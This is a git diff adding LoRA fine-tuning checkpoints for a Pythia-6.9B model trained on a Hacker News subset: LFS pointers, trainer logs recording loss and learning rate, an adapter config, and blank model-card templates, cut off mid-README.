0000000000000000000000000000000000000000..b458d8885e612e71d79c420d6ca3a40dcdcf7fd8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f47a6a8940dea009f3b7ce239248233dd458275df17acc4fa8ff99eb346e8979 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..bf1961280088992857ddb8fe8d4584423c44edf6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6bf472a6dc646995e9eb3a1b728ed47b4f764790f096bc535722b440312b4b49 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..21172dbe220a9affb01162c44c5df61eb05968cd --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/trainer_state.json @@ -0,0 +1,618 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 5.2, + "eval_steps": 10, + "global_step": 390, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 6.39056807460864e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..d5e43abd641db7e92d072a735b6df1b689426b22 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7804a96e7b6b88f885de28807f889bc4212ad1617f7e9afe4c8af2fd2f9b2475 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..08c8b51cda0a5c67b6f4ead1b8a3e1089fdb9dbe --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3e381bb944cd8e6077653afd5715fb4408aba77d22d99e06cf1fdafa50d39b95 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..cc0cb9030af17e56f3ab00fc0ad6850b4636069d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b5fde33a4ff115b0a519c0ef179183e0540c837c91cce3dba97312fa8e725570 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..1159228ea69439db76026731513cf5c71e57f3eb --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5f953d62fd365ebab5cb8aad6e7c0cdb075e95f55a4cb36b4f4e0198710f2320 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..59dca952e037bd5835c64d20976643f578001c16 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/trainer_state.json @@ -0,0 +1,93 @@ +{ + "best_metric": 2.484058380126953, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40", + "epoch": 0.5333333333333333, + "eval_steps": 10, + "global_step": 40, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 6554428794470400.0, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More 